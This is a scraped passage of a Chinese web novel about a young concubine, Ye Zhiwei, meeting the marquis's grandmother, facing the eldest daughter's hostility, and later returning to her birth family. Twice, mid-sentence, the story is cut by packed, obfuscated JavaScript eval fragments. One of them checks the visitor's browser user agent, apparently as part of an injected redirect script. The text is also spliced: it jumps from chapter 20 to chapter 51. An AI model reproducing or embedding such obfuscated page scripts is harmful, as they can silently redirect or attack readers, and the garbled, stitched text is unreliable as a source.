安嬷嬷哎吆两声,拍拍她白嫩的小手,看样子对她是喜欢极了,“提点不敢当,只是老祖宗知侯爷在回程的路上遇到凶险,这才唤姨娘前去说上一说。” 安嬷嬷叹了口气,“侯爷只身在外,老祖宗十分牵挂,前些时日听说侯爷身负重伤,更是辗转难眠,食不下咽,祖宗保佑,侯爷终于回来了。” 看叶知微不断点头,安嬷嬷接着道:“姨娘陪着侯爷走了一路,自是什么都知道,权当给老祖宗解解闷,也好让老祖宗放下心来。” 安嬷嬷本就是顾铭珏祖母谢老太的心腹,对谢老太为何要见叶知微心知肚明,且她真挺喜欢这个软乎乎的小姨娘的,便多说了两句。 叶知微抬起亮晶晶的眸子,脸上的笑容乖巧恬静,“嗯,嬷嬷放心,知微可会讲故事了。” 那边后院的众人得作鸟兽状散了。 不散也没办法,寻不到跟侯爷说话的机会。 清姨娘牵着顾青禾的手,边走边道:“您是侯爷的嫡长女,又把持着府中的中馈,姨娘有你护着,早就不惦记侯爷的宠爱了,咱们不必放在心上。” 十二岁的顾青禾脸上虽还带着稚嫩,眼睛却有着不同于常人的锐利,她亲亲热热的挽着姨娘的胳膊,笑颜如花,“姨娘,您且宽心吧,我是什么身份,她是什么身份?一个玩意儿罢了,能得宠几日?等到知蕴姐姐进门,可有的她好看。” 另一边在同安嬷嬷的只言片语中,叶知微只明白了一件事,老夫人见她是想听他说顾铭珏的事情,那她定是知无不言。 她虽初入侯府,但也知道祖孙二人感情颇深,她只管挑些好的讲就是了。 她同顾铭珏也算是出生入死过了,老太君想知道什么她便说什么,她是没什么心机,但是实诚啊,嘴也挺会说的,讨巧卖乖这种事,她还是会一些的。 也不知安嬷嬷是否故意,她们的脚程很慢,待行至老太君院中已经是一刻钟之后的事情了。 叶知微佯装不知,也不敢向四周打量,只低着头跟着安嬷嬷慢慢的走着。 这是一个很庄重古朴的院落,大门处是龙飞凤舞的三个字,慈安院。 院子很大,珍奇无数,院中一棵硕大的松柏傲然其中,浑圆挺拔枝繁叶茂,远远望去像一位迟暮的老者,虽历经磨难,却始终坚毅挺拔。 她并没有多做任何表情,只面带笑容,温温柔柔的站在门外等候通传。 其中不断有欢声笑语传来,叶知微朝守在门外不住打量她的几个丫鬟眨了眨眼睛,几个小丫鬟被她的笑容看花了眼,更有大胆的直接说了句姨娘真好看。 正巧内里的门帘被打开,一个身穿碧色衣裙的姑娘走了出来,见了她也是免不了被惊艳了一瞬,接着笑着施礼道:“姨娘,还请跟我进去吧。” 叶知微也知这姑娘的身份并不简单,也笑着回礼,紧跟其后踏入室内。 这是一间相当奢华的正厅,上首的老妇满头银发,面容和善,祥云抹额上点缀着的红色宝石更显富贵,一双眼睛浑浊有力,身穿棕色外袍,端的是庄重富态,气势浑然。 她低垂着眉眼,只看着脚下的青石地板,只听这姑娘笑着像上首的老太君道:“老祖宗,奴婢瞧着安嬷嬷的话说的确实不假,您瞧瞧,叶姨娘真真如仙女下凡,貌若天仙。” 叶知微跟着站定,余光看到顾铭珏坐在老人下首,听着丫鬟打趣的话也只是淡笑着望向她。 她脸若红霞,跪地行了个大礼,“妾叶氏知微,叩见老祖宗。” 静默半晌,老人声音传来,“抬起头来。” 虽说这声音听不出喜怒,但是叶知微还是没来由的紧张起来。 她缓缓直起了身子,将脊背挺的笔直,轻轻吐了口气,将头一整个而抬了起来。 她在才瞧见,室内只三四个丫鬟婆子,那安嬷嬷此时正站在老人一侧眉眼含笑的望着她。 老祖宗的眼神落在她身上很久,久到她后被已被汗湿透。 终于,老人发话,“起来吧,这一路跟着铭哥儿回来也不容易,只要安分守己,顺从主母,我侯府断不会苛待与你的。” 叶知微再次躬身行礼,“是。” 老夫人却是并没让她走,转头又笑着跟顾铭珏说话,“我看这丫头的相貌却是和知蕴有些相像的,待你们成亲后你便知晓,祖母这次给你挑的媳妇有多好了。” 沈知蕴,也便是未来的侯夫人了。 顾铭珏无奈起身道了声祖母说的是,孙儿还得进宫,便先回去沐浴更衣了。 老夫人摆摆手知道公事要紧,你且前去吧,我同你这姨娘说说话。 顾铭珏无奈,但也只能告退。 他给叶知微递了一个安心的眼神,便大步离去了。 安嬷嬷这才似是恍然大悟一般,对着老夫人道,“还得是老太君您眼神好,奴婢这再一打量,叶姨娘同未来侯夫人确实有几分相像,实在太巧了。” 叶知微浑身到脚瞬间冰凉,这让她如何是好。 搞得跟她碰瓷未来侯夫人是的,但她确实是不知那位是何长相的。 却听老夫人笑呵呵道:“无碍,这只能说明知蕴能和珏儿的眼缘,二人大婚之后定能过到一处去,琴瑟和鸣,白头到老。” 转头却又对叶知微来了一句,“你便来说说铭哥儿的事情吧,这一路,可是遭了难了?” 叶知微是不信这位老祖宗不知顾铭珏受伤的事情的,只怕详细经过她也都清楚。 叶知微低垂着眉眼,怯生生道:“是,妾定知无不言。” 又略微思趁道:“老祖宗,妾便从和侯爷初次相遇开始讲,可行?” 看着老太君点头,叶知微迅速组织语言,缓缓开口:“妾父亲本是个教书先生,因一场急症病逝,母亲不久也跟着去了,之后一日,妾被人给抢了去,路上妾趁他们不备拦了县令夫人的车架,这才被救下。县令夫人认妾做义女,并将妾送至侯爷处,翌日一早侯爷便带着妾离开了。后来行至商州,侯爷带妾参加知府大人办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“百合姑娘胸前还插着一把匕首,浑身的血,妾叫了几声,她悠悠转醒,气若游丝,让妾帮着带给侯爷几句话便去了,妾,妾抱着她哭了好一阵,用劲了力气将她胸前的匕首给拔了出来,又将她的尸身用树枝杂草盖住这才离开了。” 众人这才明白,她为何要说这位姑娘。 她用袖子随意擦了下眼泪,“后来,后来妾终于走到了山谷的尽头,看到了月光下的一条溪流,也在附近找到了侯爷。” 她小心的看了眼老祖宗的面色,还是实诚道:“当时,侯爷也是一身的血,肩头处和腹部都受了伤,妾也慌了,不知如何是好。不过,妾看侯爷肩头处的箭伤已经稍作了处理,便尝试着从侯爷身上翻找有没有什么药,确实是有的,只是不多了,好在能处理侯爷腹部的伤,妾拿侯爷身上的火折子生了火,便在小溪旁休息了一晚。” “第二日妾一早便去附近寻了些食物和竹子,那时侯爷也已经醒了,虽然微微有些发热,但是情况是好的。妾用竹筒煮了些竹笋同侯爷分食,便扶着侯爷离开了那里,后来找到一处山洞用来休息。不过也只待了一个半日,黄侍卫寻到了我们。” 终于将一切说完,她也口干舌燥,只等老祖宗发话了。 “你们这一日半,都吃的什么?” 叶知微是真没想到老人会这么问,有些愣了愣。 只神情还是放松了些,语调渐渐的有所上扬,让人听着是欢快的,“大山里吃食挺多的,妾安顿好侯爷便又去砍了些竹子,捡了笋子,妾运气好,还捡到了鸡枞菌,后来一趟妾还捡到了野生的栗子还有几个野桃子,妾跟侯爷都吃的很饱。有东西吃,热水喝,也很暖和。” 这几句话,却是实打实的将老人家给触动到了。 谢老太将门出身,早年跟着老侯爷南征北战也是有野外求生经历的。 对叶知微,便是越看越喜欢。 她招了招手,叫叶知微过去。 叶知微虽然有些不明所以,但还是勇敢的走了过去。 只几步的距离,待她一靠近,谢老太便将手腕上翠绿的玉镯退了下来,套到了她细嫩的手臂上。 叶知微受宠若惊,还未待她说出拒绝的话来便被安嬷嬷给按住了。 “这是太夫人的一番心意,姨娘一路照顾侯爷辛苦,长者赐不敢辞,还请姨娘收下。” 叶知微唉了一声,跪下行礼。 这一声唉倒是惹的丫鬟婆子都跟着谢老太一同笑了起来。 谢老太从红袖手中接过一支玉雕并蒂海棠花发簪,亲手插到了她的发髻上。 之后仔细打量着叶知微如花似玉的小脸,满意的点点头,“漂亮的像朵花是的,是好看。” 叶知微被夸的面若飞霞,心里也没了初来时的害怕,唇角微微翘起,直被夸的低下了头。 红袖将人扶起,还不忘打趣,“老太太这是喜欢姨娘呢,您看看老太太刚命奴婢为您准备一堆东西,多少年都没见老太太这么大方了。” 说完红袖就被谢老太给点了脑袋,老太太也不恼,直说你个鬼灵精,老婆子给你的东西少了? 一时间,老太太房内欢声笑语,还挺热闹。 20. 第 20 章 顾青禾听说父亲已然进宫去了,便兴冲冲的往曾祖母院里去。 她也不是不想陪着曾祖母同父亲说话,只是父亲一向不喜如此,曾祖母同父亲也定是有许多话要讲,她便没去掺合。 父亲冷峻,对兄长和庶弟更为严厉。 不论风雨,她基本上每日来都要陪曾祖母坐上一会儿的。 因着受宠,她进来老祖宗的院子从来都是不需要通传。 却不想还没进门便听到了里面的欢声笑语。 平日这个时间,曾祖母已经用完膳喝茶遛弯准备午睡了,今日是怎么回事。 父亲不是已经走了吗? 看到她脸上的不解,门外的小丫鬟主动解释道是新来的叶姨娘在里面。 顾青禾盛满笑意的眸子顿时冷了下来,她敛下思绪,朝丫鬟点点头便大步迈了进去。 还未见人,先闻其声。 一声娇憨的曾祖母便叫室内的众人笑意更深。 叶知微将身子避开,便见一身着火红色罗裙的小姐快步而至,面容白皙带着些稚嫩,五官秀丽,声音娇憨,一眼便知晓是美人坯子。 她心下了然,这位便是侯府的嫡女,世子爷的双胞胎妹妹顾青禾了。 她听十三讲过,这位从十岁开始掌家,虽定是有嬷嬷帮持着,可也是不得了的。 如今一看这身姿气魄,果然非虚。 顾青禾抱着老祖宗的胳膊好一阵撒娇,还拿着自己亲手做的桂花糕讨赏,谢老太被哄的眉开眼笑,好一阵心肝长心肝短的。 半晌,顾青禾才好似发现了屋内多出来的叶知微,这才后知后觉道:“曾祖母,这位便是父亲今日带回来的姨娘吧,” 说完还状若好奇的不断打量着叶知微,那高傲的眼神落在叶知微身上,实在称不上友好。 哼,这就是抢在知蕴姐姐前边的狐狸精。 叶知微忽略顾青禾的眼神,躬身行礼,“给大小姐请安。” 其实,叶知微作为顾青禾父亲的妾室,还是个贵妾,也堪堪算半个长辈,顾青禾受全礼便有些不礼貌了。 顾青禾却捂着嘴巴笑眯眯的受了叶知微的这一礼,而后竟然走到叶知微身前,上下打量了她一圈,语带兴奋的啧啧了两声,道:“姨娘今年可及笄?姨娘长的可真好,直将咱们这侯府的女眷全都比了下去呢。” 这话属实僭越了。 谢老太也不好下重孙的面子,只轻轻的斥了声,“青禾,不得无礼。” 顾青禾撇了撇嘴,回身又依偎到谢老太身前撒娇道:“曾祖母,人家好奇嘛,爹爹可是头一次带姨娘回来呢。” 叶知微心里咯噔一声,只怕她不光得罪了这位嫡女,顾铭珏后院的女人她都得罪了个遍。 太扎眼了。 谢老太拍了拍顾青禾的手,并没有回答,只道:“如此你便回去歇息吧,” “安嬷嬷,你送送。” 叶知微躬身行礼,又接过红袖手上的锦盒,这才跟着安嬷嬷低头无声的走了出去。 上首的祖孙俩正说着悄悄话,好一幅天伦之乐。 叶知微从老祖宗院里出来,终于松了口气。 不由的抱住了安嬷嬷的胳膊,好似是有了靠山,更为亲近了些。 安嬷嬷怜惜的望着紧紧抱着自己胳膊的小姨娘,轻声道:“姨娘且放心,老祖宗是喜欢姨娘的。” 叶知微点头,言语间皆是诚恳,“嬷嬷,知微知道的,知微定好好伺候侯爷,敬重新夫人,不负老祖宗厚望。” 安嬷嬷心知叶姨娘还算聪明,知道老太君是什么意思这就好办了。 承安院门外二管事已经等候多时了。 一早谢老太知道顾铭珏带回个姨娘的时候,便吩咐管事将香桂苑给打扫出来给新姨娘住。 见人出来,顾二水连忙迎了上去。 “请姨娘安,请安嬷嬷安,姨娘,香桂苑已经收拾齐整,奴才这便带您过去。” 叶知微点头,而后依依不舍的同安嬷嬷道别之后才走了。 香桂苑离老祖宗的院子并不远,不到一刻钟的距离。 香桂香桂,自是因桂花而得名。 院门不大,香桂苑三个字飘逸洒脱,还带了些女子的温婉。 翠儿和十三,已经等在院门处了。 一看叶知微回来,二人连忙迎了上去。 一行人终于进了院子。 小院不大,却很雅致。 院中西侧有两棵桂花树,虽已过桂花飘香的时节,但零星干涸的花朵还倔强的挂在树枝上,给四季常青的枝枝蔓蔓添了一些不一样的风采。 就是这样的巧合,好似她从来到那一日便与桂花树扯上了联系,到哪都有这树陪着。 仿佛前世故乡的亲人一样,一路陪她走到了这里。 东边的花圃里几朵菊花开的正旺,二管事寻着叶知微的视线忙道:“这院子是按着侯爷的吩咐布置的,十分雅致,院子西南方有一竹林,西北侧有一观景湖,东面临着的院子目前无人居住,南面不远便是侯府的后花园,姨娘闲来无事时可以出去转转。” 叶知微点点头,笑容和煦,“如此便劳烦管事了。” 无需给十三递眼神,十三已经掏出了个荷包递到了管事手里。 二管事垫了垫荷包的重量喜笑颜开,说了几句吉祥话便离开了。 到了厢房,翠儿接过老祖宗院里小丫鬟手里的盒子,十三挨个给了荷包,还贴心了拿了包路上买的点心这才将人送走。 还不等叶知微喘口气,便听十三道:“姨娘,院里的下人您还得见见。” 她实在累,便坐在那挥挥手让十三将人都带到屋里。 她这小小院子,有一负责浆洗的婆子,一看门的婆子。 管理院中花草和清洁的两人。 四人恭恭敬敬的行礼,而后叶知微神情也只淡淡的,问了每个人的名字,叫十三给了些赏钱便让人下去了。 等人一走,她便什么也顾不得了,只懒懒的躺在贵妃榻上,一边听翠儿叽叽喳喳的说话,一边打量新房间。 房间确实很大,外间一看便知是待客用的,清一色的黄花梨木桌椅,上首的茶几上摆着一套青花瓷茶具,墙上挂着些文人笔墨,旁边是面四季如意屏风,往里便是内室了。 内室的拔步床精美华贵,瞧着连挂钩都金灿灿的价值不菲,一侧是黄花梨木做的梳妆镜和衣柜,旁边是同款的博古架,各种精致小巧的玩意儿陈列其中,尽显富贵。 一侧的榻上的矮桌上,几株海棠花在白嫩的瓷瓶里开的正艳,衬的整个内室都明亮几分。 叶知微只懒懒的打量了几眼,十三和翠儿则是兴致勃勃,还在收拾东西。 因着着急赶路,午膳只简单的用了几口,到侯府之后一颗心也紧绷着,根本不知道饿,如今这一停下来,如同刚打完仗,又累又饿。 她不是看不懂老祖宗对自己态度,虽然也有敲打,但因为侯爷的关系,老太太对自己也算是爱屋及乌了。 至于大小姐,罢了,她不再去想那么多,脑仁疼。 反正总不能真的吃亏就是了。 另一边的顾青禾瞧着老祖宗面上有些疲乏了,便退了出来。 只是心底还是有些不高兴的。 知蕴姐姐也快嫁过来了,虽然成亲的日子还没定,但是她觉得应该不会等很久。 她可是看到了曾祖母赏赐的首饰了,都价值不菲。 在这个时候父亲抬了个妾室回来,这不是打知蕴姐姐的脸吗? 看样曾祖母也挺喜欢叶姨娘的,怎么办,她要不要写封信递给知蕴姐姐? 到底还只是十二岁的孩子,喜欢与不喜欢,都是简单分明的事情。 于是便也纠结的回了院子。 刚坐下不久这厢顾青禾便收到了父亲的礼物。 虽是小厮送来的,但满匣子的首饰还是让她心情好了起来。 一旁的秦嬷嬷也是观察到刚才她的脸色,便开解道:“姐儿总说侯爷不疼爱您,可是每次侯爷出门回来总是给小姐带些礼物,可见侯爷只是不善表达,还是记挂着小姐的。” 顾青禾俊秀的小脸上终于有了十二岁少女的表情,扭捏的抱住嬷嬷的胳膊撒娇,“嬷嬷,青禾知道的,就是青禾也挂念父亲嘛~” 只听一阵轻笑,清姨娘捂着嘴笑呵呵的便进来了,“咱们大小姐这是害羞了不是~” 顾青禾直被笑的捂了脸,“哎呀姨娘也来打趣我~” 清姨娘直呼冤枉,“怎的是打趣呢,哎吆让我瞧瞧,这可是侯爷对您独一份的宠爱呢,姨娘们可是多少年没收到过侯爷的礼物了。” 顾青禾心底又升起了些许酸楚,似是为姨娘打抱不平,“姨娘,以后青禾孝顺您,至于那位新来的姨娘,等知蕴姐姐进门,我定央着姐姐收拾她,定没她好果子吃!” 清姨娘掩下眼底的那抹不甘,慈爱的看着顾青禾,“姨娘什么都不争,只愿咱们大小姐好,姨娘就满足了。” 此情此景,又听着新夫人的名讳,秦嬷嬷不由的又湿了眼角,找了个借口便出去了。 她看着长大的姑娘已去多年,姑爷如今又要娶妻,早就将姑娘给忘了,叫她怎么不心生难过呢。 这边清姨娘看秦嬷嬷出去了,扯了扯嘴角,又拉起顾青禾的手聊起了家常来。 她是前头夫人的陪嫁丫鬟,夫人过门不久便抬了她为姨娘,彼时的大小姐已经三岁了,兴许是从小没了娘亲的缘故,大小姐极愿意同她亲近。 夫人是个不管事儿的,这么多年,大小姐已是将她当成了半个母亲。 如今这侯府,说是大小姐掌家,但多数事情也还是需要同她商量的。她也算是在侯府过的风声水起,说是半个当家女主人不为过。 这时正好外头外头铺子刚送来的各色布匹扬,顾青禾兴致勃勃的拉着姨娘一起挑选, 只见清姨娘拍了拍顾青禾的手掌柔声道:“我猜那位新姨娘所带的行礼并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是翠儿和十三任她怎么说都拒绝与她同桌而食,她便捡一边吃了,剩余的让两人端去吃去。 她也知道,如今入了侯府,不比从前在外头,还得按侯府的规矩来。 她会努力适应,不光适应侯府,还有这里的人。 月明星稀,夜深人静。 叶知微躺在美人榻上,遥看窗外的星空。 窗户正对着一棵桂花树。 银白色的月光将其笼罩,清清冷冷的,一如这秋日的深夜,带着萧瑟的冷意。 她是真没想到今夜顾铭珏还会来她这里。 已经很晚了。 但她确实也还没睡,瞧着她面色有些憔悴的样子顾铭珏以为她在等他,顿时心疼极了。 明明他自己连身上的衣服都没来得及换。 看到顾铭珏深夜到来,叶知微怔愣一瞬,光着脚便扑倒了男人怀里。 在男人眼中,已然成了对自己的期待和难以置信。 顾铭珏将人拥在怀里,声音里带着让人难以置信的温柔:“夜里寒凉,不用等我,你先睡便是。” 叶知微只是听他说我,忽的笑了起来。 笑容里多了些情真意切,“嗯,您早些回来妾就不等啦。” 声音还是一如既往的娇媚动人。 也无需小厮送衣衫,叶知微的拢箱里可是不少顾铭珏的衣裳的,都是在路上走走停停时买的。 她亲手缝的里衣也已经清洗干净了。 待顾铭珏洗净后挑起窗幔,便见她一双明亮的大眼睛还睁的的圆溜溜的。 便知这人下晌定是又睡了很久。 他将人抱在怀里,询问她今日的事情。 其实早就有下人向他汇报过了,但他还是想听她自己说。 她小手轻轻的点着男人的胸膛,小嘴微撅,慢慢道:“妾同老祖宗说话,吓的腿都软了,不过老祖宗仁慈,给妾赏赐了好多金银首饰呢,那镯子那么通透,金元宝那么大一个,妾可是正经的发了一笔呢。” 他望着她说金元宝时亮晶晶的眸子,心说之后哄她便多拿金子来,绝对好使。 他笑道:“爷瞧着你做的很好,向祖母行礼也没有出错。” 叶知微听着男人的夸赞,忍不住抬眸对上男人的视线,“那妾做的好,您有没有奖励呀,” 尾巴都快翘上天去了。 于是男人扬着嘴角低头小声的说着奖励,叶知微说了声讨厌,便被男人翻身覆了上来,她顺从的勾上男人的脖颈,巧笑嫣然,带着点妩媚。 她红唇微张,舌尖微吐,仿若勾人的妖精,直叫顾铭珏血脉喷张。 一时间烛火摇曳,满室春光。 长夜漫漫,月色撩人。 这边热浪翻滚,那边独守空房。 待到精疲力尽睡到迷糊时听到了男人似是说了句明日家宴什么? 哦,家宴啊。 50-60 第51章 陆兰芷看到叶知微的时候还怔愣的一瞬,心里想着不会是叶知微的,发生了 陆兰芷看到叶知微的时候还怔愣的一瞬,心里想着不会是叶知微的,发生了这么些事,她应该不会再进侯府的门了,待看清真的是她之后便猛的起身将人迎了上来。 主仆三人细细打量,不由又湿了眼眶,柳红向叶知微身后瞅了瞅,怎么没看见十三和翠儿呢。 不是出事了吧? 叶知微只得先向三人解释:“十三伤势已经好了大半,但还得修养,在红叶姐的庄子上休息,好了以后会回到顾铭珏身边去,翠儿此时应在府门处等着我呢,不用担心。” 她拿着帕子给陆兰芷擦泪,自己却没忍住哭了出来,“姐姐,还得谢谢姐姐和柳红那日那么帮我,知微,知微不知怎么感谢姐姐了。” 陆兰芷这下倒是不哭了,紧紧攥着她的手,带着些紧张,不住的打量她,见她状态很好,面色红润,这才松了口气。 只是叶知微身上淡淡的血腥气还是叫她忍不住担忧,又看她确实无事,这才放下心来。 陆兰芷拉着她坐下,笑着帮她擦净泪水,打趣道:“这都是尚书府二小姐了,是好事,怎的还哭开了。” 叶知微扯了扯嘴角,不再哭了,转而笑着道:“我今日便要回沈府去了,以后可以光明正大的给姐姐下帖子,哼,到时我看谁敢拦姐姐出去。” 陆兰芷点了点她的头,“说你胖你还喘上了,到时候啊,就怕你有了亲姐姐忘了我了。” 叶知微紧紧的抱着陆兰芷的胳膊,又哼了一声,傲娇道:“我才不会,那沈知蕴手段太过狠辣,我才不要跟她亲近呢。” 陆兰芷不动声色的叹了口气,心里是不赞同的,她轻轻拍着她的胳膊,“这后宅的女子,哪有省油的灯呢,沈府算是非常干净的,你那亲生父亲身居高位,后院非常干净,只你那亲母一人,虽然,虽然她经常患病,你那父亲也还是不离不弃,也算是个痴情人了。” 陆兰芷将叶知微的身子正了过来,正视她道:“他们都是你的亲人,找了你许多年,应是不会害你的,你同他们好好相处,他们自是不会亏待你的,若是实在亲近不来……拿到手里的才是最真实的,可懂?” 叶知微抱住了陆兰芷的腰,将自己深深的埋在她的肩头,狠狠的点头。 此时此刻,她感动的稀里哗啦的。 能如此替她着想,推心置腹的,也只有陆兰芷一个了。 她感叹自己在侯府不是没有收获的,真心换真心,陆姐姐就是她最大的收获。 她内心愈发的满足起来。 可是她总是要走的,侯府门外还有两辆马车在等着她。 陆兰芷将她的衣衫给整理干净,看到她鞋面上的点点红痕,不动声色的移开了眼睛,内心却更加难过。 这孩子,到底经历了什么啊。 叶知微乖巧的任她整理完毕,转头却从怀里掏出了两个大金镯子塞到了柳青柳红的手里。 她对柳红道:“那日多亏了你,我本应给你更多,但是,那样又实在生分,这金镯子还是翠儿挑的,说是给你攒的嫁妆,待你成亲那日,我必和姐姐一起风风光光的将你们姐妹嫁出去。” 一句话叫柳红说的面若飞霞,见自己姨娘点头,柳青柳红便都收下了。 柳红做的一切都是心甘情愿的,叶姨娘在侯府的这么长时间,她真是没少吃姨娘做的东西,拿也没少拿。叶姨娘对她家姨娘,是真的如姐妹一般。 主仆三人将叶知微送到了院门处,叶知微对着陆兰芷轻轻笑道:“姐姐便送到这吧,以后见面的机会多着呢。” 说完又望了眼前方努努嘴小声道:“只怕前面还有人在等着我呢,姐姐快回吧。” 陆兰芷望着叶知微离去的背影,轻吐口气,直到人影再也看不见了,这才带着柳青柳红进了院子。 希望老祖宗不要作妖啊,沈府可不是吃素的。 念秦在府门处等她,远远地,便见两个长的一模一样的女子将叶知微给拦了下来,念秦无奈,这个老祖宗哦。 叶知微看到红袖和添香也是丝毫不意外,她笑着同二人见礼,“两位姐姐怎的来了。” 说完还扬起脖子瞅了瞅二人身后,略微带着担心道:“怎的不见安嬷嬷?是不是那日吓坏了?身体可有事?” 看叶知微表情真挚,红袖和添香对视一眼,心中松了口气。 红袖道:“安嬷嬷无事,就是,就是最近有了受了风寒,在家修养几日便回来。” 叶知微点了点头,咳嗽两声,勉强漏出一个有些虚弱的笑容,将手腕处水头不错的镯子退了下来,用帕子包上,塞到红袖手里,红袖哪里敢要,慌忙推搡。 叶知微却皱着眉头认真道:“打从一进府,安嬷嬷便对我多有照拂,如今我已找到了家人,今日便归家了,也不便再去探望安嬷嬷,姐姐帮我将这镯子送与嬷嬷,权当我的一片心意,还请姐姐不要推辞,帮了我这个忙吧,可好?” 红袖动了动嘴角,心里是替安嬷嬷感动的,点点头,将镯子收下了。 眼看念秦过来接她,她朝念秦姐说了声这就来,便笑着将发髻上的一左一右两只一模一样的海棠花金簪拔了下来,迅速插到了红袖和添香的发髻上,笑着说道:“这是我一早选的,一模一样的海棠花呢,想着要是在府上遇到两位姐姐,便送与两位姐姐,算是权了咱们这么长时间的情谊,二位姐姐万不要推辞。” 说完也没给二人拔下来的机会,往前小跑了几句,又回头笑着给二人挥手告别,“二位姐姐快回吧,家人在府门处等我呢,我先家去了。” 红袖和添香无奈只能望着叶知微离开,沈府的马车确实在外头等着呢,她们什么话都还没说便被姨娘给搪塞过去。 姐妹二人对视一眼,动作一致的摸了摸头上的发簪,齐齐叹了口气,走吧,只能如实禀告老祖宗了。 念秦无奈去牵小跑过来的叶知微的手,试了试温度,都有些凉了。 白了她一眼,“你跟她二人纠缠作甚,冻的手都凉了。” 叶知微嘿嘿笑了两声才道:“她们从前帮过我的,知恩图报嘛~” 瞧着心情挺好,都撒开娇了。 嗯,仇也报完了,陆姐姐也见了,心情可不就好起来了。 沈家人果然等在侯府门外,大张旗鼓的,只是让人没想到的是,这条路上竟出乎意料的没什么人。 叶知微撇嘴,还得是安定侯,挺霸道,这是路都给封了。 念秦看沈知晖和姜恒已经往她们方向走来,也知该是告别的时候了。 她倒没什么不舍,知微被沈家认回是好事,她们以后便没了顾忌,可以经常见面。 念秦远远的冲正在过来的二人微微颔首,转头帮叶知微整理了下发髻道:“那就送你到这了,且安心在沈府住着,不舒服的话给姐姐递信,我去接你。” 叶知微点头,眼睛里带着不舍,她抱着念秦的胳膊撒娇,“我以后会经常去找姐姐顽的,姐姐别嫌我烦啊。” “净说傻话,好了,我走了,他们过来了。” 念秦捏了捏叶知微的手背,转头上了马,朝她摆了摆手便驾的马离开了。 见念秦走远,叶知微心中五味杂陈。 遇到红叶和念秦两位姐姐纯属意外,也算是沾了顾铭珏的光了,不然凭她自己是很难遇到二人的,她很感激二人的帮助,也希望有朝一日能成为像她们一样强大的女子。 还不等她多想,便听身后传来两声带着紧张和急切的声音,“小妹。” 叶知微转头,便对上了两双泛着水光的眸子,她冲二人笑了笑,微微施礼,二人年纪相仿,二十多岁的样子。 左边那个,跟沈知蕴的脸型有些像,稍稍圆润一些。跟她却是不怎么像的,人更沉稳些,有些文弱书生气,但是个头却很高,瘦高瘦高唇红齿白的,是个俊美的男子。 旁边那个虽说个头稍矮一些,但是叶知微看他也是得仰着头的,也是男子中的大高个,这位一看就是武将,皮肤黝黑,眼睛像铜铃一般,铮亮,也算是剑眉星目,整个人大马金刀的,显得很强壮的样子,应该便是那位养兄了。 叶知微挨个打招呼,“兄长。” “养兄。” 二人受宠若惊,倒是没想到小妹能够精准的认出二人。 他们远远的就看到了小妹一身红裘风姿绰约,内心激动的同时又掺杂着些失落,若是不出那事,小妹如今该是千娇百宠娇憨肆意的长大。 万幸现在找回来了,他们定会好好弥补小妹这十年的光阴。 这近看小妹的长相更是惊为天人,国色天香,肤如凝脂,便是对小妹的形容词了吧,再细看,小妹和外婆真的有些像,都是眼尾微翘的杏眼,樱唇琼鼻,整个给人感觉乖乖巧巧的,甚至可爱。 看二人神情有些激动,叶知微只平静的笑望着,并不言语。 却听他们身后传来翠儿的声音,“姐姐,姐姐快上车吧,外头冷。” 翠儿见他们迟迟不上车,便下了马车,小跑过来迎她了。 二人却似大梦初醒般,不好意思起来,“对对,外头冷,小妹先上车,爹娘他们都在家中等着呢,咱们赶紧归家!” 叶知微点头称是,便牵过翠儿的手,二人踱步上了马车。 此时的顾铭珏听着属下的禀告,也知叶知微已经离开,他摆摆手,表示知晓,面无表情的摩挲着腰间的荷包,不知在想何。 半晌暗夜悄无声息的进来,低声道:“属下查到书信是被三皇子的人拿走的,此事,也是三皇子命人透漏给沈大人的。” 顾铭珏冷笑,“他这是不装了?” 暗夜迟疑道:“倒也不是。”属下查到他几次三番偶遇沈大小姐,应是,看上了才,才插手此事的。” 顾铭珏听完也没生气,神情倒有些意味深长,他半响开口道:“你去递个信,约他去别苑,就说本侯邀他一聚!” 沈府的马车已经离开了安定侯府的地界。 沈知蕴没来,她正挽着母亲的胳膊,陪同父母一起等在府门处。 沈母高氏自从一早听见已经找到小女儿,并且今日归家,整个人就处于非常清醒的状态,又紧张又期待,沈鸿紧紧攥着妻子的手,告诉她小女儿马上就到了,马上就到了。 车厢内,翠儿看着姐姐,觉得她并不是很高兴,于是便小声的问了出来,“姐姐,是,不想去吗?” 叶知微笑着点头,又摇了摇头,语气有些说不出来的失落和遗憾,“若是小时没出事,那知微便应是这世上最幸福的女孩子,可还是出了事,且隔了这么些年,几经辗转才寻回亲人,回来的,却不是从前的,小女孩了……” 翠儿没听懂,她压根儿不知道,从前的那个小女孩,已经死掉了,叶知微内心难过和遗憾的,便是这个了。 她替原主委屈呢。 她叹了口气,抬手抚上心口,抱歉啊,既占了你的身子,我便会替你照顾好父母,也会尽全力找到当初拐你之人,替你报仇,唯愿天下无拐,你且安息吧。 其实,自从见过宋言澈,原主似是觉醒了部分意识,到现在找到亲生的家人,叶知微能感觉到,原主存留的意识越来越少了。 还是得想办法再见一次宋言澈,了了原主的心事才好。 叹了口气,此事还得从长计议,先回沈家吧。 盼望着,盼望着,车马便来了。 马车停下,兄长在窗幔下道了句,小妹,到家了。 叶知微笑着应声,翠儿忙不迭又帮姐姐整理衣裙,叶知微叫她不要紧张,言语间也换上了得体的笑容,这才下了马车。 只刚一下车,便见到了等在府门处的众人,为首的是一对中年夫妻,应是沈家父母了,沈鸿紧紧攥着妻子的手,二人相互扶持着,快步走了过来。 高氏在看到叶知微的那一瞬,头脑中的某一处像是突然觉醒了,这么多年时好时坏的记忆猛的席上心头,叫她看向小女儿的目光更加的愧疚。 她连自己都照顾不好,还谈什么照顾儿女呢,她亏欠他们啊! 叶知微感觉鼻尖酸涩,眼泪在望见双亲的那一刻便不自觉的滑落了下来,到底是生下她这具身体的人,血脉相连! 她看看双鬓已半白脸上已有不少细纹的亲爹,又看看虽还是貌美,但重新打扮过却难掩憔悴的亲母,双膝不由得跪了下来。 